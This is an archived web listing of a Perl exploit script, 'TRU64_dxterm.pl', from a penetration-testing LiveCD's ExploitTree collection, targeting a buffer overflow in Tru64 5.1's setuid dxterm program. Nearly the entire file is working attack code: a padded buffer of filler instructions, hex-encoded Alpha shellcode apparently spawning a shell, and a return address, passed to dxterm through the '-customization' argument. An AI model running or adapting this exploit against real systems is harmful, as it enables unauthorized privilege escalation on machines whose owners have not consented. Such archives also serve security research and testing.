home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / tru64 / TRU64_dxterm.pl < prev    next >
Perl Script  |  2005-02-12  |  903b  |  31 lines

  1. #!/usr/bin/perl -w
  2. #
  3. # Tru64 5.1 /usr/bin/X11/dxterm
  4. #
  5. # stripey (stripey@snosoft.com) - 03/07/2002
  6. #
  7.  
  8. ($offset) = @ARGV,$offset || ($offset = 0);
  9.  
  10. $ret_addr = pack("ll",(0x4001c828+$offset),0x1);
  11.  
  12. $sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
  13. $sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
  14. $sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
  15. $sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
  16. $sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
  17. $sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
  18. $sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
  19. $sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
  20. $sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
  21. $sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";
  22.  
  23. $buf_a .= pack("l",0x47ff041f)x2048;
  24. $buf_a .= $sc;
  25. $buf_a .= $ret_addr;
  26.  
  27. exec("/usr/bin/X11/dxterm","-customization",$buf_a);
  28.  
  29.  
  30.  
  31.